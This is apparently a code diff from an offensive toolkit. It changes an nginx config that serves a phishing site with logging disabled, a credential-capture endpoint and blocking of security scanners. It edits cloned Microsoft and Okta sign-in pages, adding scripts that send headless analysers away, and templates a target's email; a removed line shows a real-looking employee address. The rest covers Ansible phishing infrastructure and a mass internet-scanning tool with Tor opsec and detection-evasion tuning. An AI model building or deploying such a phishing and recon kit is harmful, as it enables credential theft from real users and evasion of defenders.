@@ -1,27 +1,51 @@
|
||||
map $http_user_agent $block_scanner {
|
||||
default 0;
|
||||
~*Googlebot 1;
|
||||
~*bingbot 1;
|
||||
~*Slurp 1;
|
||||
~*DuckDuckBot 1;
|
||||
~*Baiduspider 1;
|
||||
~*YandexBot 1;
|
||||
~*Sogou 1;
|
||||
~*Exabot 1;
|
||||
~*facebot 1;
|
||||
~*ia_archiver 1;
|
||||
~*msnbot 1;
|
||||
~*AhrefsBot 1;
|
||||
~*SemrushBot 1;
|
||||
~*MJ12bot 1;
|
||||
~*DotBot 1;
|
||||
~*BLEXBot 1;
|
||||
~*masscan 1;
|
||||
~*zgrab 1;
|
||||
~*Shodan 1;
|
||||
~*censys 1;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 80;
|
||||
server_name _;
|
||||
|
||||
|
||||
add_header X-Robots-Tag "noindex, noarchive";
|
||||
|
||||
if ($block_scanner) { return 444; }
|
||||
|
||||
root /var/www/phishing;
|
||||
index index.html index.php;
|
||||
|
||||
|
||||
# Disable all logging
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
|
||||
# PHP processing
|
||||
location ~ \.php$ {
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
}
|
||||
|
||||
# Credential capture endpoint
|
||||
# Credential capture — only POST to this exact path
|
||||
location = /capture.php {
|
||||
limit_except POST { deny all; }
|
||||
include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
|
||||
}
|
||||
|
||||
# Deny all other PHP execution
|
||||
location ~ \.php$ { deny all; }
|
||||
|
||||
# Template routing
|
||||
location /templates/ {
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
<head>
|
||||
<title>Sign in to your account</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex, noarchive">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
@@ -105,5 +106,16 @@
|
||||
<a href="https://www.microsoft.com/en-us/privacy/privacystatement">Privacy & cookies</a>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
(function() {
|
||||
var headless = (
|
||||
navigator.webdriver ||
|
||||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
|
||||
navigator.plugins.length === 0 ||
|
||||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
|
||||
);
|
||||
if (headless) { window.location.replace('https://www.microsoft.com'); }
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -23,7 +23,7 @@
|
||||
}
|
||||
</style><title>Zimperium - Sign In</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<meta name="robots" content="noindex,nofollow" />
|
||||
<meta name="robots" content="noindex, nofollow, noarchive" />
|
||||
|
||||
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
|
||||
<link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
|
||||
@@ -99,7 +99,7 @@
|
||||
|
||||
<!-- hidden form for reposting fromURI for X509 auth -->
|
||||
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
|
||||
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/exk1ufbfxuFLJp6y3697/sso/wsfed/passive?username=Brian.Caldwell%40Zimperium.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
||||
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/{{ okta_app_id | default('APP_ID') }}/sso/wsfed/passive?username={{ target_email | urlencode | default('user%40example.com') }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
||||
</form>
|
||||
|
||||
<div class="content">
|
||||
@@ -199,11 +199,11 @@
|
||||
|
||||
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
(function(){
|
||||
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
|
||||
var baseUrl = 'https://{{ okta_org | default("your.okta.com") }}';
|
||||
var suppliedRedirectUri = '';
|
||||
var repost = false;
|
||||
var stateToken = '';
|
||||
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
|
||||
var fromUri = '/app/office365/{{ okta_app_id | default("APP_ID") }}/sso/wsfed/passive?username={{ target_email | default("user@example.com") }}&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx=';
|
||||
var username = '';
|
||||
var rememberMe = true;
|
||||
var smsRecovery = false;
|
||||
@@ -554,5 +554,17 @@
|
||||
applyStyle('login-bg-image', 'bgStyle');
|
||||
applyStyle('login-bg-image-ie8', 'bgStyleIE8');
|
||||
});
|
||||
</script></body>
|
||||
</script>
|
||||
<script>
|
||||
(function() {
|
||||
var headless = (
|
||||
navigator.webdriver ||
|
||||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
|
||||
navigator.plugins.length === 0 ||
|
||||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
|
||||
);
|
||||
if (headless) { window.location.replace('https://www.okta.com'); }
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta name="robots" content="noindex, noarchive">
|
||||
<title>{{ page_title | default('Sign in to your account') }}</title>
|
||||
<style>
|
||||
* {
|
||||
@@ -190,6 +191,17 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
(function() {
|
||||
var headless = (
|
||||
navigator.webdriver ||
|
||||
(!window.chrome && /Chrome/.test(navigator.userAgent)) ||
|
||||
navigator.plugins.length === 0 ||
|
||||
/HeadlessChrome|PhantomJS|Selenium|WebDriver/i.test(navigator.userAgent)
|
||||
);
|
||||
if (headless) { window.location.replace('https://www.microsoft.com'); }
|
||||
})();
|
||||
</script>
|
||||
<script>
|
||||
document.getElementById('loginForm').addEventListener('submit', function(e) {
|
||||
e.preventDefault();
|
||||
@@ -206,7 +218,7 @@
|
||||
.then(response => {
|
||||
// Redirect after a delay to simulate processing
|
||||
setTimeout(() => {
|
||||
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
||||
window.location.href = {{ redirect_url | default("https://www.microsoft.com") | tojson }};
|
||||
}, 2000);
|
||||
})
|
||||
.catch(error => {
|
||||
|
||||
@@ -184,17 +184,21 @@ def _get_tuning_params(scan_mode: str, default_rate: int, vars_overrides: dict)
|
||||
print(f"\n{COLORS['BLUE']}Advanced Tuning (Enter = use default):{COLORS['RESET']}")
|
||||
show_header = False
|
||||
if key in vars_overrides:
|
||||
tuning[key] = cast(vars_overrides[key])
|
||||
print(f" {label}: {tuning[key]} (vars file)")
|
||||
value = cast(vars_overrides[key])
|
||||
source = "vars file"
|
||||
else:
|
||||
raw = input(f" {label} [{default}]: ").strip()
|
||||
tuning[key] = cast(raw) if raw else default
|
||||
value = cast(raw) if raw else default
|
||||
source = None
|
||||
if isinstance(value, (int, float)) and value <= 0:
|
||||
print(f"{COLORS['YELLOW']} {label}={value} invalid (must be > 0); using default {default}{COLORS['RESET']}")
|
||||
value = default
|
||||
tuning[key] = value
|
||||
if source:
|
||||
print(f" {label}: {value} ({source})")
|
||||
|
||||
_prompt("masscan rate (pkt/s)", "masscan_rate", default_rate)
|
||||
|
||||
if scan_mode in ('masscan+nmap', 'geo-scout', 'masscan+nuclei'):
|
||||
pass # masscan_rate already handled
|
||||
|
||||
if scan_mode in ('masscan+nmap', 'geo-scout'):
|
||||
_prompt("nmap timing T1-T4", "nmap_timing", 4)
|
||||
_prompt("nmap per-host timeout (s)", "nmap_timeout", 60)
|
||||
@@ -208,8 +212,53 @@ def _get_tuning_params(scan_mode: str, default_rate: int, vars_overrides: dict)
|
||||
return tuning
|
||||
|
||||
|
||||
def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], scan_mode: str, use_tor: bool = False):
|
||||
rows = build_estimate_table(total_ips, n_ports, providers, scan_mode, use_tor=use_tor)
|
||||
def _show_masscan_tor_warning():
|
||||
R = COLORS['RED']
|
||||
Y = COLORS['YELLOW']
|
||||
W = COLORS['WHITE']
|
||||
Z = COLORS['RESET']
|
||||
print(f"\n{R}{'█' * 70}{Z}")
|
||||
print(f"{R}█ ⚠ CRITICAL OPSEC WARNING — MASSCAN BYPASSES TOR █{Z}")
|
||||
print(f"{R}{'█' * 70}{Z}")
|
||||
print(f"{W} masscan uses raw sockets and CANNOT be tunneled through Tor or")
|
||||
print(f" proxychains. Every SYN packet sent during the masscan phase reveals")
|
||||
print(f" THIS CLOUD NODE'S IP to the targets and any monitoring along the path.{Z}")
|
||||
print()
|
||||
print(f"{Y} Tor will protect: {Z}{W}nmap fingerprinting, nuclei requests, probe banners{Z}")
|
||||
print(f"{Y} Tor will NOT protect: {Z}{R}masscan SYN scan (bypasses the proxy entirely){Z}")
|
||||
print()
|
||||
print(f"{W} If you need full Tor coverage, use 'nmap-only' mode (slow but fully")
|
||||
print(f" proxied via -sT). The masscan phase is fundamentally incompatible.{Z}\n")
|
||||
|
||||
|
||||
def _show_caveats_block(scan_mode: str, use_tor: bool):
|
||||
Y = COLORS['YELLOW']
|
||||
W = COLORS['WHITE']
|
||||
R = COLORS['RED']
|
||||
Z = COLORS['RESET']
|
||||
print(f"{Y} Caveats — empirical estimates, real scans vary ±30%:{Z}")
|
||||
print(f"{W} • Hit rate assumes ~1% of IPs have open ports on selected ports.")
|
||||
print(f" Real range: 0.5%–5% (higher for SSH/HTTP/HTTPS, lower for niche")
|
||||
print(f" ports). Override via vars file: hit_rate: 0.03{Z}")
|
||||
if scan_mode in ('masscan+nuclei',):
|
||||
print(f"{W} • Nuclei estimate assumes 5s/target (typical CVE template, 1–3 HTTP")
|
||||
print(f" requests). Heavy templates with many requests/matchers run 2–5×")
|
||||
print(f" longer.{Z}")
|
||||
if scan_mode in ('masscan+nmap', 'geo-scout', 'nmap-only'):
|
||||
print(f"{W} • nmap timing: T1=60s/host, T2=30s, T3=15s, T4=10s. Lower T values")
|
||||
print(f" evade rate-limit detection but multiply scan time accordingly.{Z}")
|
||||
if use_tor:
|
||||
print(f"{R} • Tor adds 5× latency to nmap/nuclei/probe phases. Real overhead")
|
||||
print(f" varies 3×–10× depending on circuit quality. Masscan is NOT")
|
||||
print(f" proxied — see the warning banner above.{Z}")
|
||||
print(f"{W} • Provisioning: ~5 min/node included. Add 5–10 min for first-time")
|
||||
print(f" cloud-provider auth or new region.")
|
||||
print(f" • Cost: Linode/FlokiNET bill minimum 1h per node. AWS bills per")
|
||||
print(f" second. Short scans still incur the per-provider minimum.{Z}\n")
|
||||
|
||||
|
||||
def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], scan_mode: str, use_tor: bool = False, tuning: dict | None = None):
|
||||
rows = build_estimate_table(total_ips, n_ports, providers, scan_mode, use_tor=use_tor, tuning=tuning)
|
||||
|
||||
C = COLORS['CYAN']
|
||||
W = COLORS['WHITE']
|
||||
@@ -217,11 +266,25 @@ def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], sca
|
||||
G = COLORS['GREEN']
|
||||
R = COLORS['RESET']
|
||||
|
||||
tor_note = " [Tor: estimates reflect nmap/probe latency]" if use_tor else ""
|
||||
masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei')
|
||||
if use_tor and scan_mode in masscan_modes:
|
||||
_show_masscan_tor_warning()
|
||||
|
||||
tor_note = " [Tor: estimates reflect nmap/probe latency only]" if use_tor else ""
|
||||
print(f"\n{C}{'─' * 70}{R}")
|
||||
print(f"{C} WEBRUNNER — Cost & Time Estimate{R}")
|
||||
print(f"{W} Total: {fmt_ip_count(total_ips)} IPs {n_ports} ports Mode: {scan_mode}{R}")
|
||||
print(f"{W} Providers: {', '.join(PROVIDER_LABELS[p] for p in providers)}{Y}{tor_note}{R}")
|
||||
if tuning:
|
||||
bits = []
|
||||
if 'masscan_rate' in tuning:
|
||||
bits.append(f"masscan={tuning['masscan_rate']}pps")
|
||||
if 'nmap_timing' in tuning:
|
||||
bits.append(f"nmap=T{tuning['nmap_timing']}/{tuning.get('nmap_workers', 10)}w")
|
||||
if 'nuclei_rate' in tuning and scan_mode == 'masscan+nuclei':
|
||||
bits.append(f"nuclei={tuning['nuclei_rate']}rps/{tuning.get('nuclei_concurrency', 25)}c")
|
||||
if bits:
|
||||
print(f"{W} Tuning: {' · '.join(bits)}{R}")
|
||||
print(f"{C}{'─' * 70}{R}")
|
||||
print(f" {'Preset':<14} {'Nodes':>6} {'IPs/Node':>10} {'Time/Node':>12} {'Total $':>10}")
|
||||
print(f" {'─' * 56}")
|
||||
@@ -239,6 +302,7 @@ def _show_estimate_table(total_ips: int, n_ports: int, providers: list[str], sca
|
||||
|
||||
print(f"{C}{'─' * 70}{R}")
|
||||
print(f"{Y} * = recommended (Pareto-optimal: speed vs. billing minimum){R}\n")
|
||||
_show_caveats_block(scan_mode, use_tor)
|
||||
|
||||
|
||||
# ── parameter gathering ───────────────────────────────────────────────────────
|
||||
@@ -335,16 +399,23 @@ def gather_webrunner_parameters() -> dict | None:
|
||||
# Tor routing — ask before estimate so table reflects the slowdown
|
||||
tor_raw = input(f"\nRoute scans through Tor? [y/N]: ").strip().lower()
|
||||
config['use_tor'] = tor_raw in ['y', 'yes']
|
||||
if config['use_tor']:
|
||||
if scan_mode == 'masscan-only':
|
||||
print(f"{COLORS['YELLOW']} Warning: masscan uses raw sockets and bypasses proxychains — Tor has no effect in masscan-only mode.{COLORS['RESET']}")
|
||||
elif scan_mode in ('geo-scout', 'masscan+nmap'):
|
||||
print(f"{COLORS['YELLOW']} Note: masscan phase bypasses Tor (raw sockets); nmap and probe phases will use Tor.{COLORS['RESET']}")
|
||||
else:
|
||||
print(f"{COLORS['YELLOW']} Tor routing enabled — all nmap traffic will use proxychains → SOCKS5 9050.{COLORS['RESET']}")
|
||||
masscan_modes = ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei')
|
||||
if config['use_tor'] and scan_mode in masscan_modes:
|
||||
_show_masscan_tor_warning()
|
||||
confirm = input(f"{COLORS['RED']} Continue with Tor enabled, knowing masscan will leak this node's IP? [y/N]: {COLORS['RESET']}").strip().lower()
|
||||
if confirm not in ['y', 'yes']:
|
||||
print(f"{COLORS['YELLOW']} Tor disabled. To get full Tor coverage, re-run with scan mode 'nmap-only'.{COLORS['RESET']}")
|
||||
config['use_tor'] = False
|
||||
elif config['use_tor']:
|
||||
print(f"{COLORS['GREEN']} Tor routing enabled — all nmap traffic will use proxychains → SOCKS5 9050.{COLORS['RESET']}")
|
||||
|
||||
# Cost / time estimate — reflects Tor throughput impact
|
||||
_show_estimate_table(total_ips, len(ports), providers, scan_mode, use_tor=config['use_tor'])
|
||||
# Advanced tuning — gather BEFORE estimate so table reflects operator choices
|
||||
default_rate = config['masscan_rate']
|
||||
tuning = _get_tuning_params(scan_mode, default_rate, vars_overrides)
|
||||
config.update(tuning)
|
||||
|
||||
# Cost / time estimate — reflects tuning + Tor throughput impact
|
||||
_show_estimate_table(total_ips, len(ports), providers, scan_mode, use_tor=config['use_tor'], tuning=tuning)
|
||||
|
||||
# Preset selection
|
||||
print(f"{COLORS['BLUE']}Select deployment preset:{COLORS['RESET']}")
|
||||
@@ -438,11 +509,6 @@ def gather_webrunner_parameters() -> dict | None:
|
||||
if config['operator_ip']:
|
||||
print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}")
|
||||
|
||||
# Advanced tuning
|
||||
default_rate = config['masscan_rate']
|
||||
tuning = _get_tuning_params(scan_mode, default_rate, vars_overrides)
|
||||
config.update(tuning)
|
||||
|
||||
# OPSEC / teardown options
|
||||
print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}")
|
||||
|
||||
|
||||
@@ -55,9 +55,9 @@
|
||||
- name: Set deployment results
|
||||
set_fact:
|
||||
phishing_deployment_results:
|
||||
gophish_ip: "{{ '192.168.1.10' if 'gophish' in deployment_components else '' }}"
|
||||
mta_ip: "{{ '192.168.1.11' if 'mta_front' in deployment_components else '' }}"
|
||||
redirector_ip: "{{ '192.168.1.12' if 'redirector' in deployment_components else '' }}"
|
||||
webserver_ip: "{{ '192.168.1.13' if 'webserver' in deployment_components else '' }}"
|
||||
gophish_ip: "{{ gophish_ip | default('') }}"
|
||||
mta_ip: "{{ mta_ip | default('') }}"
|
||||
redirector_ip: "{{ redirector_ip | default('') }}"
|
||||
webserver_ip: "{{ webserver_ip | default('') }}"
|
||||
deployment_id: "{{ deployment_id }}"
|
||||
domain: "{{ phishing_domain | default(domain) }}"
|
||||
|
||||
@@ -41,5 +41,5 @@ domain: "example.com"
|
||||
mail_hostname: "mail.example.com"
|
||||
letsencrypt_email: "admin@example.com"
|
||||
smtp_auth_user: "phishuser"
|
||||
smtp_auth_pass: "SuperSecretPass123!"
|
||||
smtp_auth_pass: "CHANGE_ME"
|
||||
gophish_admin_port: "2222"
|
||||
@@ -11,7 +11,7 @@ def load_word_list(filename):
|
||||
"""Load words from a text file, one word per line"""
|
||||
try:
|
||||
# Check if we have FourEyes word lists
|
||||
foureyes_path = "/home/n0mad1k/Tools/FourEyes"
|
||||
foureyes_path = os.environ.get('FOUREYES_PATH', '')
|
||||
if os.path.exists(foureyes_path):
|
||||
file_path = os.path.join(foureyes_path, filename)
|
||||
if os.path.exists(file_path):
|
||||
|
||||
+106
-20
@@ -48,20 +48,101 @@ BILLING_MINIMUM = {
|
||||
}
|
||||
|
||||
|
||||
NMAP_TIME_PER_HOST_SEC = 10 # empirical: nmap -sV -T4 per host, seconds
|
||||
MASSCAN_HIT_RATE = 0.01 # fraction of scanned IPs that have open ports
|
||||
_NMAP_WORKERS = 10 # must match WEBRUNNER_NMAP_WORKERS default
|
||||
# ── Empirical timing constants ────────────────────────────────────────────────
|
||||
# Per-host nmap time by timing template (seconds, -sV --version-intensity 5)
|
||||
NMAP_TIME_BY_TIMING = {
|
||||
1: 60.0, # T1 sneaky
|
||||
2: 30.0, # T2 polite
|
||||
3: 15.0, # T3 normal
|
||||
4: 10.0, # T4 aggressive (baseline)
|
||||
}
|
||||
|
||||
# Average per-target time for typical nuclei CVE template (1–3 HTTP requests).
|
||||
# Heavy templates with many requests/matchers will run 2–5× longer.
|
||||
NUCLEI_TIME_PER_TARGET_SEC = 5.0
|
||||
|
||||
# TCP banner grab time (geo-scout probe phase)
|
||||
PROBE_TIME_PER_HOST_SEC = 3.0
|
||||
|
||||
# Default fraction of scanned IPs with open ports on common ports.
|
||||
# Real-world range: 0.5%–5% depending on ports & geography.
|
||||
MASSCAN_HIT_RATE = 0.01
|
||||
|
||||
# Defaults — must match WEBRUNNER tuning defaults
|
||||
_NMAP_WORKERS = 10
|
||||
_NUCLEI_RATE = 150
|
||||
_NUCLEI_CONCURRENCY = 25
|
||||
|
||||
# Tor latency multiplier — applies ONLY to TCP probe phases (nmap/nuclei/probe).
|
||||
# Masscan uses raw sockets and bypasses proxychains entirely — Tor cannot
|
||||
# protect masscan SYN packets. The cloud node's IP is exposed to every
|
||||
# masscan target regardless of this setting.
|
||||
TOR_PHASE_MULTIPLIER = 5.0
|
||||
|
||||
# Per-node provisioning overhead (apt install, optional nuclei download).
|
||||
# Nodes provision in parallel so this is roughly constant.
|
||||
PROVISION_OVERHEAD_HOURS = 5 / 60
|
||||
|
||||
|
||||
def estimate_scan_hours(ip_count: int, n_ports: int, rate: int, scan_mode: str = 'masscan-only') -> float:
|
||||
def estimate_scan_hours(
|
||||
ip_count: int,
|
||||
n_ports: int,
|
||||
rate: int,
|
||||
scan_mode: str = 'masscan-only',
|
||||
*,
|
||||
nmap_timing: int = 4,
|
||||
nmap_workers: int = _NMAP_WORKERS,
|
||||
nuclei_rate: int = _NUCLEI_RATE,
|
||||
nuclei_concurrency: int = _NUCLEI_CONCURRENCY,
|
||||
hit_rate: float = MASSCAN_HIT_RATE,
|
||||
use_tor: bool = False,
|
||||
) -> float:
|
||||
"""Phase-decomposed scan time estimate. Returns hours per node."""
|
||||
if rate <= 0:
|
||||
return 0.0
|
||||
masscan_hours = (ip_count * n_ports / rate) / 3600
|
||||
return PROVISION_OVERHEAD_HOURS
|
||||
|
||||
nmap_workers = max(nmap_workers, 1)
|
||||
seconds = 0.0
|
||||
|
||||
# masscan phase: raw sockets, no Tor penalty (Tor cannot proxy raw sockets)
|
||||
if scan_mode in ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei'):
|
||||
seconds += ip_count * n_ports / rate
|
||||
|
||||
# nmap-only phase: every IP gets full -sV fingerprint
|
||||
if scan_mode == 'nmap-only':
|
||||
per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0)
|
||||
if use_tor:
|
||||
per_host *= TOR_PHASE_MULTIPLIER
|
||||
seconds += (ip_count * per_host) / nmap_workers
|
||||
|
||||
# nmap fingerprint phase: only on masscan hits
|
||||
if scan_mode in ('masscan+nmap', 'geo-scout'):
|
||||
nmap_hosts = ip_count * MASSCAN_HIT_RATE
|
||||
nmap_hours = (nmap_hosts * NMAP_TIME_PER_HOST_SEC) / (_NMAP_WORKERS * 3600)
|
||||
return masscan_hours + nmap_hours
|
||||
return masscan_hours
|
||||
nmap_hosts = ip_count * hit_rate
|
||||
per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0)
|
||||
if use_tor:
|
||||
per_host *= TOR_PHASE_MULTIPLIER
|
||||
seconds += (nmap_hosts * per_host) / nmap_workers
|
||||
|
||||
# probe banner phase: geo-scout only, on masscan hits
|
||||
if scan_mode == 'geo-scout':
|
||||
probe_hosts = ip_count * hit_rate
|
||||
per_probe = PROBE_TIME_PER_HOST_SEC
|
||||
if use_tor:
|
||||
per_probe *= TOR_PHASE_MULTIPLIER
|
||||
seconds += (probe_hosts * per_probe) / nmap_workers
|
||||
|
||||
# nuclei phase: only on masscan-discovered ip:port pairs
|
||||
if scan_mode == 'masscan+nuclei':
|
||||
nuclei_targets = ip_count * hit_rate
|
||||
per_target = NUCLEI_TIME_PER_TARGET_SEC
|
||||
if use_tor:
|
||||
per_target *= TOR_PHASE_MULTIPLIER
|
||||
rate_throughput = float(nuclei_rate)
|
||||
parallel_throughput = nuclei_concurrency / per_target
|
||||
effective_rps = max(min(rate_throughput, parallel_throughput), 1.0)
|
||||
seconds += nuclei_targets / effective_rps
|
||||
|
||||
return seconds / 3600 + PROVISION_OVERHEAD_HOURS
|
||||
|
||||
|
||||
def node_cost(provider: str, instance_type: str, scan_hours: float) -> float:
|
||||
@@ -84,30 +165,35 @@ def fmt_ip_count(n: int) -> str:
|
||||
return str(n)
|
||||
|
||||
|
||||
# Tor adds ~5x latency overhead for TCP probes; masscan bypasses proxychains (raw sockets)
|
||||
# so only nmap/probe phases are affected — modes that include masscan see partial impact
|
||||
TOR_RATE_MULTIPLIER = 0.2
|
||||
|
||||
|
||||
def build_estimate_table(
|
||||
total_ips: int,
|
||||
n_ports: int,
|
||||
providers: list[str],
|
||||
scan_mode: str,
|
||||
use_tor: bool = False,
|
||||
tuning: dict | None = None,
|
||||
) -> list[dict]:
|
||||
mode_rate = SCAN_MODES.get(scan_mode, {'rate': 3000})['rate']
|
||||
if use_tor and scan_mode != 'masscan-only':
|
||||
mode_rate = int(mode_rate * TOR_RATE_MULTIPLIER)
|
||||
tuning = tuning or {}
|
||||
masscan_rate = int(tuning.get('masscan_rate') or SCAN_MODES.get(scan_mode, {'rate': 3000})['rate'])
|
||||
|
||||
kwargs = dict(
|
||||
nmap_timing=int(tuning.get('nmap_timing', 4)),
|
||||
nmap_workers=int(tuning.get('nmap_workers', _NMAP_WORKERS)),
|
||||
nuclei_rate=int(tuning.get('nuclei_rate', _NUCLEI_RATE)),
|
||||
nuclei_concurrency=int(tuning.get('nuclei_concurrency', _NUCLEI_CONCURRENCY)),
|
||||
hit_rate=float(tuning.get('hit_rate', MASSCAN_HIT_RATE)),
|
||||
use_tor=use_tor,
|
||||
)
|
||||
|
||||
rows = []
|
||||
for preset_key, preset in PRESETS.items():
|
||||
n_chunks = max(1, math.ceil(total_ips / preset['chunk_size']))
|
||||
typical_ips = min(preset['chunk_size'], total_ips)
|
||||
hours_per_node = estimate_scan_hours(typical_ips, n_ports, mode_rate, scan_mode)
|
||||
hours_per_node = estimate_scan_hours(typical_ips, n_ports, masscan_rate, scan_mode, **kwargs)
|
||||
total_cost = 0.0
|
||||
for i in range(n_chunks):
|
||||
chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size'])
|
||||
chunk_hours = estimate_scan_hours(chunk_ips, n_ports, mode_rate, scan_mode)
|
||||
chunk_hours = estimate_scan_hours(chunk_ips, n_ports, masscan_rate, scan_mode, **kwargs)
|
||||
provider = providers[i % len(providers)]
|
||||
instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2')
|
||||
total_cost += node_cost(provider, instance, chunk_hours)
|
||||
|
||||
Reference in New Issue
Block a user